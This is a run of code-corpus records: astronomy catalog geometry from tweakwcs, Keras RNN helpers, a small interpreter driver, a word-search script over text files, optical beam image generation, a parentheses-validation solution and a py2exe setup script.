\"\"\"\n    def __init__(self, catalog, name=None, footprint_tol=1.0):\n        \"\"\"\n        Parameters\n        ----------\n        catalog : astropy.table.Table\n            Reference catalog.\n\n            ..note::\n                Reference catalogs (:py:class:`~astropy.table.Table`)\n                *must* contain *both* ``'RA'`` and ``'DEC'`` columns.\n\n        name : str, None, optional\n            Name of the reference catalog.\n\n        footprint_tol : float, optional\n            Matching tolerance in arcsec. This is used to estimate catalog's\n            footprint when catalog contains only one or two sources.\n\n        \"\"\"\n        self._name = name\n        self._catalog = None\n        self._footprint_tol = footprint_tol\n\n        # make sure catalog has RA & DEC\n        if catalog is not None:\n            self.catalog = catalog\n\n    def _check_catalog(self, catalog):\n        if catalog is None:\n            raise ValueError(\"Reference catalogs cannot be None\")\n\n        if 'RA' not in catalog.colnames or 'DEC' not in catalog.colnames:\n            raise KeyError(\"Reference catalogs *must* contain *both* 'RA' \"\n                           \"and 'DEC' columns.\")\n\n    @property\n    def name(self):\n        \"\"\" Get/set :py:class:`WCSImageCatalog` object's name.\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        self._name = name\n\n    @property\n    def catalog(self):\n        \"\"\" Get/set image's catalog.\n        \"\"\"\n        return self._catalog\n\n    @catalog.setter\n    def catalog(self, catalog):\n        self._check_catalog(catalog)\n\n        if len(catalog) == 0:\n            raise ValueError(\"Reference catalog must contain at least one \"\n                             \"source.\")\n\n        self._catalog = catalog.copy()\n\n        if 'id' not in self._catalog.colnames:\n            self._catalog['id'] = np.arange(1, len(self._catalog) + 1)\n\n        # create spherical polygon bounding the sources\n        self.calc_bounding_polygon()\n\n    @property\n    def poly_area(self):\n        \"\"\" Area of the bounding polygon (in srad).\n        \"\"\"\n        return self._poly_area\n\n    @property\n    def polygon(self):\n        \"\"\" Get image's (or catalog's) bounding spherical polygon.\n        \"\"\"\n        return self._polygon\n\n    def intersection(self, wcsim):\n        \"\"\"\n        Compute intersection of this `WCSImageCatalog` object and another\n        `WCSImageCatalog`, `WCSGroupCatalog`, `RefCatalog`, or\n        :py:class:`~spherical_geometry.polygon.SphericalPolygon`\n        object.\n\n        Parameters\n        ----------\n        wcsim : WCSImageCatalog, WCSGroupCatalog, RefCatalog, SphericalPolygon\n            Another object that should be intersected with this\n            `WCSImageCatalog`.\n\n        Returns\n        -------\n        polygon : SphericalPolygon\n            A :py:class:`~spherical_geometry.polygon.SphericalPolygon` that is\n            the intersection of this `WCSImageCatalog` and `wcsim`.\n\n        \"\"\"\n        if isinstance(wcsim, (WCSImageCatalog, WCSGroupCatalog, RefCatalog)):\n            return self._polygon.intersection(wcsim.polygon)\n        else:\n            return self._polygon.intersection(wcsim)\n\n    # TODO: due to a bug in the sphere package, see\n    #       https://github.com/spacetelescope/sphere/issues/74\n    #       intersections with polygons formed as union does not work.\n    #       For this reason I re-implement 'intersection_area' below with\n    #       a workaround for the bug.\n    #       The original implementation should be uncommented once the bug\n    #       is fixed.\n    #\n    #def intersection_area(self, wcsim):\n        #\"\"\" Calculate the area of the intersection polygon.\n        #\"\"\"\n        #return np.fabs(self.intersection(wcsim).area())\n    def intersection_area(self, wcsim):\n        \"\"\" Calculate the area of the intersection polygon.\n        \"\"\"\n        if isinstance(wcsim, (WCSImageCatalog, RefCatalog)):\n            return np.fabs(self.intersection(wcsim).area())\n\n        else:\n            # this is bug workaround:\n            area = 0.0\n            for wim in wcsim:\n                area += np.fabs(\n                    self.polygon.intersection(wim.polygon).area()\n                )\n            return area\n\n    def _calc_cat_convex_hull(self):\n        \"\"\"\n        Calculate spherical polygon corresponding to the convex hull bounding\n        the sources in the catalog.\n\n        \"\"\"\n        if self.catalog is None:\n            return\n\n        # Find an \"optimal\" tangent plane to the catalog points based on the\n        # mean point and then construct a WCS based on the mean point.\n        # Compute x, y coordinates in this tangent plane based on the\n        # previously computed WCS and return the set of x, y coordinates and\n        # \"reference WCS\".\n        x, y, z = spherical2cartesian(\n            self.catalog['RA'], self.catalog['DEC']\n        )\n        ra_ref, dec_ref = cartesian2spherical(\n            x.mean(dtype=np.float64),\n            y.mean(dtype=np.float64),\n            z.mean(dtype=np.float64)\n        )\n        rotm = [planar_rot_3D(np.deg2rad(alpha), 2 - axis)\n                for axis, alpha in enumerate([ra_ref, dec_ref])]\n        euler_rot = np.linalg.multi_dot(rotm)\n        inv_euler_rot = inv(euler_rot)\n        xr, yr, zr = np.dot(euler_rot, (x, y, z))\n        x = yr / xr\n        y = zr / xr\n\n        xv, yv = convex_hull(x, y)\n\n        if len(xv) == 0:\n            # no points\n            raise RuntimeError(\"Unexpected error: Contact software developer\")\n\n        elif len(xv) == 1:\n            # one point. build a small box around it:\n            x, y = convex_hull(x, y, wcs=None)\n            tol = 0.5 * self._footprint_tol\n\n            xv = [x[0] - tol, x[0] - tol, x[0] + tol, x[0] + tol, x[0] - tol]\n            yv = [y[0] - tol, y[0] + tol, y[0] + tol, y[0] - tol, y[0] - tol]\n\n        elif len(xv) == 2:\n            # two points. build a small box around them:\n            x, y = convex_hull(x, y, wcs=None)\n            tol = 0.5 * self._footprint_tol\n\n            vx = y[1] - y[0]\n            vy = x[1] - x[0]\n            norm = np.sqrt(vx * vx + vy * vy)\n            vx /= norm\n            vy /= norm\n\n            xv = [\n                x[0] - (vx - vy) * tol,\n                x[0] - (vx + vy) * tol,\n                x[1] + (vx - vy) * tol,\n                x[1] + (vx + vy) * tol,\n                x[0] - (vx - vy) * tol\n            ]\n            yv = [\n                y[0] - (vy + vx) * tol,\n                y[0] - (vy - vx) * tol,\n                y[1] + (vy + vx) * tol,\n                y[1] + (vy - vx) * tol,\n                y[0] - (vy + vx) * tol\n            ]\n\n        # \"unrotate\" cartezian coordinates back to their original\n        # ra_ref and dec_ref \"positions\":\n        xt = np.ones_like(xv)\n        xcr, ycr, zcr = np.dot(inv_euler_rot, (xt, xv, yv)).astype(np.float64)\n        # convert cartesian to spherical coordinates:\n        ra, dec = cartesian2spherical(xcr, ycr, zcr)\n\n        # TODO: for strange reasons, occasionally ra[0] != ra[-1] and/or\n        #       dec[0] != dec[-1] (even though we close the polygon in the\n        #       previous two lines). Then SphericalPolygon fails because\n        #       points are not closed. Threfore we force it to be closed:\n        ra[-1] = ra[0]\n        dec[-1] = dec[0]\n\n        self._radec = [(ra, dec)]\n        self._polygon = SphericalPolygon.from_radec(ra, dec)\n        self._poly_area = np.fabs(self._polygon.area())\n\n    def calc_bounding_polygon(self):\n        \"\"\" Calculate bounding polygon of the sources in the catalog.\n        \"\"\"\n        # create spherical polygon bounding the sources\n        self._calc_cat_convex_hull()\n\n    def expand_catalog(self, catalog):\n        \"\"\"\n        Expand current reference catalog with sources from another catalog.\n\n        Parameters\n        ----------\n        catalog : astropy.table.Table\n            A catalog of new sources to be added to the existing reference\n            catalog. `catalog` *must* contain *both* ``'RA'`` and ``'DEC'``\n            columns.\n\n        \"\"\"\n        self._check_catalog(catalog)\n        cat = catalog.copy()\n        if self._catalog is None:\n            self._catalog = cat\n            if 'id' not in self._catalog.colnames:\n                self._catalog['id'] = np.arange(1, len(self._catalog) + 1)\n        else:\n            self._catalog = table.vstack([self.catalog, cat],\n                                         join_type='outer')\n            # overwrite source ID since when expanding the catalog,\n            # there could be duplicates in source ID:\n            self._catalog['id'] = np.arange(1, len(self._catalog) + 1)\n\n        self.calc_bounding_polygon()\n\n    def calc_tanp_xy(self, tanplane_wcs):\n        \"\"\"\n        Compute x- and y-positions of the sources from the reference catalog\n        in the tangent plane provided by the `tanplane_wcs`.\n        This creates the following columns in the catalog's table:\n        ``'TPx'`` and ``'TPy'``.\n\n        Parameters\n        ----------\n        tanplane_wcs : ImageGWCS\n            A `ImageGWCS` object that will provide transformations to\n            the tangent plane to which sources of this catalog a should be\n            \"projected\".\n\n        \"\"\"\n        # compute x & y in the reference WCS:\n        xtp, ytp = tanplane_wcs.world_to_tanp(self.catalog['RA'],\n                                              self.catalog['DEC'])\n        self._catalog['TPx'] = table.MaskedColumn(\n            xtp, name='TPx', dtype=np.float64, mask=False\n        )\n        self._catalog['TPy'] = table.MaskedColumn(\n            ytp, name='TPy', dtype=np.float64, mask=False\n        )\n\n\ndef convex_hull(x, y, wcs=None):\n    \"\"\"Computes the convex hull of a set of 2D points.\n\n    Implements `Andrew's monotone chain algorithm <http://en.wikibooks.org\\\n/wiki/Algorithm_Implementation/Geometry/Convex_hull/Monotone_chain>`_.\n    The algorithm has O(n log n) complexity.\n\n    Credit: `<http://en.wikibooks.org/wiki/Algorithm_Implementation/Geometry/\\\nConvex_hull/Monotone_chain>`_\n\n    Parameters\n    ----------\n\n    points : list of tuples\n        An iterable sequence of (x, y) pairs representing the points.\n\n    Returns\n    -------\n    Output : list\n        A list of vertices of the convex hull in counter-clockwise order,\n        starting from the vertex with the lexicographically smallest\n        coordinates.\n\n    \"\"\"\n    ndarray = isinstance(x, np.ndarray) or isinstance(y, np.ndarray)\n\n    # Sort the points lexicographically (tuples are compared\n    # lexicographically). Remove duplicates to detect the case we have\n    # just one unique point.\n    points = sorted(set(zip(x, y)))\n\n    # Boring case: no points or a single point,\n    # possibly repeated multiple times.\n    if len(points) == 0:\n        if not ndarray:\n            return (np.array([]), np.array([]))\n        else:\n            return ([], [])\n    elif len(points) == 1:\n        if not ndarray:\n            return (np.array([points[0][0]]), np.array([points[0][1]]))\n        else:\n            return ([points[0][0]], [points[0][1]])\n\n    # 2D cross product of OA and OB vectors, i.e. z-component of their\n    # 3D cross product.\n    # Returns a positive value, if OAB makes a counter-clockwise turn,\n    # negative for clockwise turn, and zero if the points are collinear.\n    def cross(o, a, b):\n        return (a[0] - o[0]) * (b[1] - o[1]) - (a[1] - o[1]) * (b[0] - o[0])\n\n    # Build lower hull\n    lower = []\n    for p in points:\n        while len(lower) >= 2 and cross(lower[-2], lower[-1], p) <= 0:\n            lower.pop()\n        lower.append(p)\n\n    # Build upper hull\n    upper = []\n    for p in reversed(points):\n        while len(upper) >= 2 and cross(upper[-2], upper[-1], p) <= 0:\n            upper.pop()\n        upper.append(p)\n\n    # Concatenation of the lower and upper hulls gives the convex hull.\n    # Last point of each list is omitted because it is repeated at the\n    # beginning of the other list.\n    total_hull = np.asanyarray(lower[:-1] + upper)\n\n    ptx = total_hull[:, 0]\n    pty = total_hull[:, 1]\n\n    if wcs is None:\n        if not ndarray:\n            return (ptx.tolist(), pty.tolist())\n        else:\n            return (ptx, pty)\n\n    # convert x, y vertex coordinates to RA & DEC:\n    ra, dec = wcs(ptx, pty)\n    ra[-1] = ra[0]\n    dec[-1] = dec[0]\n\n    if not ndarray:\n        return (ra.tolist(), dec.tolist())\n    else:\n        return (ra, dec)\n","sub_path":"tweakwcs/wcsimage.py","file_name":"wcsimage.py","file_ext":"py","file_size_in_byte":55673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"138594405","text":"from keras.layers import Activation\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.models import Sequential\nimport collections\nimport numpy as np\nimport string\n\n\ndef window_transform_series(series, window_size):\n    \"\"\"\n    Transforms the input series\n    and window-size into a set of input/output pairs for use with our RNN model\n    \"\"\"\n    # containers for input/output pairs\n    X = []\n    y = []\n    index = 0\n    while window_size < len(series):\n        X.append(series[index:window_size])\n        y.append(series[window_size])\n        window_size += 1\n        index += 1\n    # reshape each\n    X = np.asarray(X)\n    X.shape = (np.shape(X)[0:2])\n    y = np.asarray(y)\n    y.shape = (len(y), 1)\n\n    return X, y\n\n\ndef build_part1_RNN(window_size):\n    \"\"\"\n    Build an RNN to perform regression on our time series input/output data using Keras\n    with a fixed size of 5 nodes in the LSTM and one single output node with no activation function\n    so that it can output a value matching the time series.\n    \"\"\"\n    model = Sequential()\n    model.add(LSTM(5, input_shape=(window_size, 1)))\n    model.add(Dense(1))\n    return model\n\n\ndef cleaned_text(text):\n    \"\"\"\n    Return the text input with only ascii lowercase and the punctuation given below included.\n    This will also exclude numbers, special foreign characters, ), $, % etc.\n    \"\"\"\n    # use ascii letters\n    ascii_letters = string.ascii_letters\n    punctuation = ['!', ',', '.', ':', ';', '?']\n    # find all unique characters in the text\n    unique_char = ''.join(set(text))\n    # remove the non-english characters from text\n    for char in unique_char:\n        if char not in ascii_letters and char not in punctuation:\n            text = text.replace(char, ' ')\n    return text\n\n\ndef window_transform_text(text, window_size, step_size):\n    \"\"\"\n    Transform the input text and window-size into a set of input/output pairs for use with our RNN model\n    We move the window by the parameter step size so that we don't have to generate too many pairs.\n    \"\"\"\n    # containers for input/output pairs\n    inputs = []\n    outputs = []\n    index = 0\n    while index + window_size < len(text):\n        inputs.append(text[index:index + window_size])\n        outputs.append(text[index + window_size])\n        index += step_size\n    return inputs, outputs\n\n\ndef build_part2_RNN(window_size, num_chars):\n    \"\"\"\n    Build the required RNN model:\n    a single LSTM hidden layer with softmax activation, categorical_crossentropy loss\n    \"\"\"\n    model = Sequential()\n    model.add(LSTM(200, input_shape=(window_size, num_chars)))\n    model.add(Dense(num_chars, activation='softmax'))\n    return model\n","sub_path":"quantist/strategy/my_answers.py","file_name":"my_answers.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"238534311","text":"import gramatica as g\nimport ts as TS\nfrom expresiones import *\nfrom instrucciones import *\n\ndef procesar_imprimir(instr, ts) :\n    print('> ', resolver_cadena(instr.cad, ts))\n\ndef procesar_definicion(instr, ts) :\n    simbolo = TS.Simbolo(instr.id, TS.TIPO_DATO.NUMERO, 0)      # inicializamos con 0 como valor por defecto\n    ts.agregar(simbolo)\n\ndef procesar_asignacion(instr, ts) :\n    val = resolver_expresion_aritmetica(instr.expNumerica, ts)\n    simbolo = TS.Simbolo(instr.id, TS.TIPO_DATO.NUMERO, val)\n    ts.actualizar(simbolo)\n\ndef procesar_mientras(instr, ts) :\n    while resolver_expreision_logica(instr.expLogica, ts) :\n        ts_local = TS.TablaDeSimbolos(ts.simbolos)\n        procesar_instrucciones(instr.instrucciones, ts_local)\n\ndef procesar_if(instr, ts) :\n    val = resolver_expreision_logica(instr.expLogica, ts)\n    if val :\n        ts_local = TS.TablaDeSimbolos(ts.simbolos)\n        procesar_instrucciones(instr.instrucciones, ts_local)\n\ndef procesar_if_else(instr, ts) :\n    val = resolver_expreision_logica(instr.expLogica, ts)\n    if val :\n        ts_local = TS.TablaDeSimbolos(ts.simbolos)\n        procesar_instrucciones(instr.instrIfVerdadero, ts_local)\n    else :\n        ts_local = TS.TablaDeSimbolos(ts.simbolos)\n        procesar_instrucciones(instr.instrIfFalso, ts_local)\n\ndef resolver_cadena(expCad, ts) :\n    if isinstance(expCad, ExpresionConcatenar) :\n        exp1 = resolver_cadena(expCad.exp1, ts)\n        exp2 = resolver_cadena(expCad.exp2, ts)\n        return exp1 + exp2\n    elif isinstance(expCad, ExpresionDobleComilla) :\n        return expCad.val\n    elif isinstance(expCad, ExpresionCadenaNumerico) :\n        return str(resolver_expresion_aritmetica(expCad.exp, ts))\n    else :\n        print('')\n\n\ndef resolver_expreision_logica(expLog, ts) :\n    exp1 = resolver_expresion_aritmetica(expLog.exp1, ts)\n    exp2 = resolver_expresion_aritmetica(expLog.exp2, ts)\n    if expLog.operador == OPERACION_LOGICA.MAYOR_QUE : return exp1 > exp2\n    if expLog.operador == OPERACION_LOGICA.MENOR_QUE : return exp1 < exp2\n    if expLog.operador == OPERACION_LOGICA.IGUAL : return exp1 == exp2\n    if expLog.operador == OPERACION_LOGICA.DIFERENTE : return exp1 != exp2\n\ndef resolver_expresion_aritmetica(expNum, ts) :\n    if isinstance(expNum, ExpresionBinaria) :\n        exp1 = resolver_expresion_aritmetica(expNum.exp1, ts)\n        exp2 = resolver_expresion_aritmetica(expNum.exp2, ts)\n        if expNum.operador == OPERACION_ARITMETICA.MAS : return exp1 + exp2\n        if expNum.operador == OPERACION_ARITMETICA.MENOS : return exp1 - exp2\n        if expNum.operador == OPERACION_ARITMETICA.POR : return exp1 * exp2\n        if expNum.operador == OPERACION_ARITMETICA.DIVIDIDO : return exp1 / exp2\n    elif isinstance(expNum, ExpresionNegativo) :\n        exp = resolver_expresion_aritmetica(expNum.exp, ts)\n        return exp * -1\n    elif isinstance(expNum, ExpresionNumero) :\n        return expNum.val\n    elif isinstance(expNum, ExpresionIdentificador) :\n        return ts.obtener(expNum.id).valor\n\n\ndef procesar_instrucciones(instrucciones, ts) :\n    ## lista de instrucciones recolectadas\n    for instr in instrucciones :\n        if isinstance(instr, Imprimir) : procesar_imprimir(instr, ts)\n        elif isinstance(instr, Definicion) : procesar_definicion(instr, ts)\n        elif isinstance(instr, Asignacion) : procesar_asignacion(instr, ts)\n        elif isinstance(instr, Mientras) : procesar_mientras(instr, ts)\n        elif isinstance(instr, If) : procesar_if(instr, ts)\n        elif isinstance(instr, IfElse) : procesar_if_else(instr, ts)\n        else : print('Error: instrucción no válida')\n\nf = open(\"C:/Users/Steven Sis/Desktop/All/Compi2/fase2/OLC2-Fase2/Optimizador/entrada.txt\", \"r\")\ninput = f.read()\n\ninstrucciones = g.parse(input)\n\nfor e in g.respuesta:\n    print(e)\n\n#ts_global = TS.TablaDeSimbolos()\n\n#procesar_instrucciones(instrucciones, ts_global)","sub_path":"parser/fase2/team23/Optimizador/principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"343468830","text":"import os \r\n\r\n\r\ndef isBinod(filename):\r\n    #Return true if binod is present or else false\r\n    with open(filename, \"r\") as f:\r\n        fileContent=f.read();\r\n        #Detect all forms of binod/Binod/biNOD/biNoD\r\n    if \"binod\" in fileContent.lower(): \r\n        return True   \r\n    else:\r\n        return False    \r\n\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n    #Listing the content of this folder\r\n    dir_contents=os.listdir();\r\n    nBinod=0\r\n    print(dir_contents)\r\n    #For each textfile we will check if Binod is present.\r\n    for item in dir_contents:\r\n        if item.endswith('txt'):\r\n            print(f\"Detecting Binod in {item}\\n...\\n...\\n...\")\r\n            flag=isBinod(item)\r\n            if(flag):\r\n                print(f\"Binod found in {item}\\n\")\r\n                nBinod+=1\r\n            else:\r\n                print(f\"Binod not found in {item}\\n\")    \r\n\r\n    print(\"-----Binod Detector Summary-----\\n\")\r\n    print(f\"{nBinod} files found with Binod hidden into them\\n\")","sub_path":"BINOD DETECTOR/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"415492624","text":"# Author: hrajaoberison\n# Produces a sum of 2D Legendre polynomials weighted by the coefficients in \n# v_coeff.  Should replicate the behavior of LegendreMap, written by Seung-Whan Bahk.\n\n# Import librabries\nimport numpy as np\nimport warnings\nfrom scipy import special\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport pandas\nimport pandas as pd\nfrom PIL import Image\n\n# Input variables\nv_Zmax = np.array([[3, 3, 2, 1.5, 1.5]])\ndz = 3.5*10**-3\nf = 1.04\nNA = 1\nLambda = 1.054*10**-6\nNff_pts = 512\nNnf_pts = 2048\nv_region = np.array([[0,0,0.165,0.165]])\n\n# Set up far-field array\nrmax = 4.2*10**-6*Nff_pts/2\nxfv = np.array([np.arange(-Nff_pts,(Nff_pts-1),2)/Nff_pts*rmax]) \nyfv = xfv\n\n# Set up pupil array\nxv = np.array([np.arange(-Nnf_pts,(Nnf_pts-1),2)*0.33/Nnf_pts])\nyv = xv\nXm, Ym = np.meshgrid(xv,yv)\nIm = np.double((np.abs(Xm)<=0.165)&(np.abs(Ym)<=0.165))\n\n# Generate Zernike list\nN_coeff = 5 # must be equal to max length of v_Zmax\nif N_coeff != max(v_Zmax.shape):\n   warnings.warn(\"Error: N_coeff must be equal to the length of v_Zmax array\")\nN_img = 10#round(4.7**N_coeff) # can be any integer\nM_z = (np.ones((N_img,1))*v_Zmax)*(2*np.random.rand(N_img, N_coeff)-np.ones((N_img, N_coeff)))\n       \n# Randomize the order\nv_ind = np.random.permutation(M_z.shape[0])\nM_zrand = M_z[v_ind,:]\n\n# Store Zernike list in csv file\ndf = pd.DataFrame(M_zrand)\nfilepath = '/Users/hrajaoberison/Documents/LLE/SquareBeam/Data/ZernikeCoeff_list.csv'\ndf.to_csv(filepath, index = False, header= False)\n\n### Read and generate Zernike files\n\n## Load Zernike terms\nM_z = pd.read_csv(filepath,header=None)\nM_z = np.matrix(M_z)\n\n## Define Image generation function\ndef Image_Generation_script(En, x, y, xf, yf, wavelength, f, dz):\n    Ny, Nx = np.shape(En)\n    if x.shape[1] != Nx:\n        warnings.warn(\"Error: x vector must be the same horizontal dimension of near field matrix\")\n    \n    if x.shape[0] != 1:\n        warnings.warn(\"Error: x vector must be a vector\")\n    \n    if y.shape[1] != Ny:\n        warnings.warn(\"Error: y vector must be the same vertical dimension of near field matrix\")\n    \n    if y.shape[0] != 1:\n        warnings.warn(\"Error: y vector must be a vector\")\n\n    if len(args1) < 5:\n        wavelength = 1.053*10**-6\n\n    if len(args1) < 6:\n        f = 1\n\n    if len(args1) < 7:\n        dz = 0\n\n    # Get the difference and mean between elements of vectors x and y respectively\n    dx = np.mean(np.diff(x))\n    dy = np.mean(np.diff(y))\n\n    if len(args1) < 3: \n        if Nx % 2:\n            xf = (np.arange(-Nx+1,Nx-1,2))*wavelength*f/(2*Nx*dx)\n        else:\n            xf = (np.arange(-Nx,Nx-2,2))*wavelength*f/(2*Nx*dx)\n\n    if len(args1) < 4: \n        if Ny % 2:\n            yf = (np.arange(-Ny+1,Ny-1,2))*wavelength*f/(2*Ny*dy)\n        else:\n            yf = (np.arange(-Ny,Ny-2,2))*wavelength*f/(2*Ny*dy)\n        \n    # Force x and y to be row vectors\n    x = np.reshape(x, (1,Nx))\n    y = np.reshape(y, (1,Ny))\n\n    # Centering x, y vector\n    x = x - np.mean(x)\n    y = y - np.mean(y)\n    xx, yy = np.meshgrid(x,y)\n    rr = np.sqrt(xx**2 + yy**2)\n    En = En*np.exp(-1j*np.pi/wavelength*dz/f**2*np.square(rr)) #  Adds defocus term to near-field\n\n    dxf = np.mean(np.diff(xf))\n    dyf = np.mean(np.diff(yf))\n\n    kx = xf*2*np.pi/wavelength/f\n    ky = yf*2*np.pi/wavelength/f\n\n    A = np.exp(1j*np.matrix(ky).getH()*y) \n    B = np.exp(1j*np.matrix(x).getH()*kx)\n    Ef = A*En*B*dx*dy/wavelength/f\n    \n    # Enforce Parseval's Theorem (energy conservation)\n    NFenergy = np.sum(np.square(np.absolute(En.flatten('F'))))*dx*dy\n    FFenergy = np.sum(np.square(np.absolute(Ef.flatten('F'))))*dxf*dyf\n    Ef = Ef*np.sqrt(NFenergy/FFenergy)\n    # Issue a warning if sampling is insufficient\n    if np.max(np.absolute(xf)) > wavelength*f/dx/2 or np.max(np.absolute(yf)) > wavelength*f/dy/2:\n        warnings.warn(\"Far-field crossed the replica boundary. Increase near-field sampling or reduce width of far-field grid.\")\n    return Ef, xf, yf\n\n## Legendre 2D map function\ndef Legendre2DMap(v_coeff, Xm, Ym, v_region):\n    if Xm.shape != Ym.shape:\n        raise ValueError('Incompatible x and y matrices!')\n        \n    Xm_grid = (Xm - v_region[0,0])/v_region[0,2]\n    Ym_grid = (Ym - v_region[0,1])/v_region[0,3]\n    \n    M_out = np.zeros(Xm.shape)\n    \n    j_ap = np.array(np.where(np.abs(Xm_grid[0,:])<=1))\n    i_ap = np.array(np.where(np.abs(Ym_grid[:,0])<=1)).conj().transpose()\n    \n    # Loop through coefficients\n    n=0\n    for k in range(1, max(v_coeff.shape)+1):\n        if k > np.sum(np.linspace(1,n+1,n+1))+0.1:\n          n= n+1 \n        j_k = (k-1)-np.sum(np.linspace(1,n,n))\n        i_k = n - j_k\n        vlx = special.lpmv(0, i_k, Xm_grid[0, j_ap])\n        vlx = np.squeeze(vlx[0,:]).reshape((1,max(vlx.shape)))\n\n        vly = special.lpmv(0, j_k, Ym_grid[i_ap, 1].conj().transpose())\n        vly = np.squeeze(vly[0,:]).reshape((1,max(vly.shape)))\n        \n        Pm_k = (vly.conj().transpose())*vlx\n        M_out[i_ap,j_ap] = M_out[i_ap,j_ap] + v_coeff[0, k-1]*Pm_k\n    return M_out\n\nif __name__ == \"__main__\":\n    # Loop through and generate images\n    for ii in tqdm(range(0, M_z.shape[0])):\n        # Generate wavefront map for this iteration\n        M_zy = M_z[ii,:]\n        M_zy = np.append([0], M_zy)\n        M_zy = np.reshape(M_zy, (1, M_zy.shape[0]))\n        Wm = Legendre2DMap(M_zy, Xm, Ym, v_region)\n\n        plt.figure(214)\n        extent4 = np.min(xv*NA), np.max(xv*NA), np.min(yv*NA), np.max(yv*NA)\n        im4 = plt.imshow(Wm, extent=extent4, cmap ='jet')\n        plt.colorbar(im4)\n    \n        # Generate defocused far-field irradiance\n        args1 = (np.sqrt(Im)*np.exp(2j*np.pi*Wm), xv*NA, yv*NA, xfv, yfv, Lambda, f, dz)\n        E_ff, x_ff, y_ff = Image_Generation_script(*args1)\n        I_ff = np.square(np.abs(E_ff))\n        I_ff = I_ff/np.max(I_ff.flatten(order = 'F'))\n    \n        plt.figure(215)\n        extent5 = np.min(xfv*10**6), np.max(xfv*10**6), np.min(yfv*10**6), np.max(yfv*10**6)\n        im5 = plt.imshow(I_ff, extent=extent5, cmap ='gray')\n        plt.colorbar(im5)\n        save_results_to = '/Users/hrajaoberison/Documents/LLE/SquareBeam/Data/' # where the images are saved\n        suffix = '.bmp'\n        k = Image.fromarray((I_ff*255).astype(np.uint8))\n        k.save(save_results_to + f\"TrainingImg{ii}{suffix}\")\n        plt.show()","sub_path":"SquareBeam/SquareBeamGenerationScript.py","file_name":"SquareBeamGenerationScript.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"68419302","text":"class Solution:\n    def isValid(self, s: str) -> bool:\n        stack = []\n        startof = {')': '(', ']': '[', '}': '{'}\n        for char in s:\n            # breakpoint()\n            if char not in startof.keys():\n                stack.append(char)\n            else:\n                if len(stack) > 0 and stack[-1] == startof[char]:\n                    stack = stack[:-1]\n                else:\n                    return False\n            # print(stack)\n        if len(stack) == 0:\n            return True\n        return False\n\nif __name__ == '__main__':\n    sol = Solution()\n    s = \"([)]\"\n    print(sol.isValid(s))\n","sub_path":"source code/20. Valid Parentheses.py","file_name":"20. Valid Parentheses.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"245473442","text":"from distutils.core import setup\r\nimport py2exe\r\nimport sys\r\n\r\n# If run without args, build executables, in quiet mode.\r\nif len(sys.argv) == 1:\r\n    sys.argv.append(\"py2exe\")\r\n    sys.argv.append(\"-q\")\r\n\r\nclass Target:\r\n    def __init__(self, **kw):\r\n        self.__dict__.update(kw)\r\n        # for the versioninfo resources\r\n        self.version = \"0.1.0\"\r\n        self.company_name = \"SIL International\"\r\n        self.copyright = \"2012 Greg Trihus\"\r\n        self.name = \"ApplyUpd11\"\r\n\r\n################################################################\r\n# A program using wxPython\r\n\r\n# The manifest will be inserted as resource into test_wx.exe.  This\r\n# gives the controls the Windows XP appearance (if run on XP ;-)\r\n#\r\n# Another option would be to store it in a file named\r\n# test_wx.exe.manifest, and copy it with the data_files option into\r\n# the dist-dir.\r\n#\r\nmanifest_template = '''\r\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\r\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\r\n<assemblyIdentity\r\n    version=\"5.0.0.0\"\r\n    processorArchitecture=\"x86\"\r\n    name=\"%(prog)s\"\r\n    type=\"win32\"\r\n/>\r\n<description>%(prog)s Program</description>\r\n<dependency>\r\n    <dependentAssembly>\r\n        <assemblyIdentity\r\n            type=\"win32\"\r\n            name=\"Microsoft.Windows.Common-Controls\"\r\n            version=\"6.0.0.0\"\r\n            processorArchitecture=\"X86\"\r\n            publicKeyToken=\"6595b64144ccf1df\"\r\n            language=\"*\"\r\n        />\r\n    </dependentAssembly>\r\n</dependency>\r\n</assembly>\r\n'''\r\n\r\nRT_MANIFEST = 24\r\n\r\nTargDesc = Target(\r\n    # used for the versioninfo resource\r\n    description = \"Apply preferences to metadata\",\r\n\r\n    # what to build\r\n    script = \"ApplyUpd11.py\",\r\n    other_resources = [(RT_MANIFEST, 1, manifest_template % dict(prog=\"ApplyUpd11\"))],\r\n    icon_resources = [(1, \"CLEAN.ico\")],\r\n    dest_base = \"ApplyUpd11\")\r\n\r\n################################################################\r\n\r\nsetup(\r\n\toptions = {\"py2exe\": {\"compressed\":1,\r\n                           \"optimize\":2,\r\n                           \"ascii\": 1,\r\n                           \"bundle_files\": 1,\r\n                           \"includes\":[\"lxml._elementpath\"],\r\n                           \"packages\":[\"lxml.etree\", \"gzip\", \"encodings\", \"inspect\"]}},\r\n\tzipfile = None,\r\n      console=[TargDesc],\r\n\t)\r\n\r\n","sub_path":"ApplyUpd/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
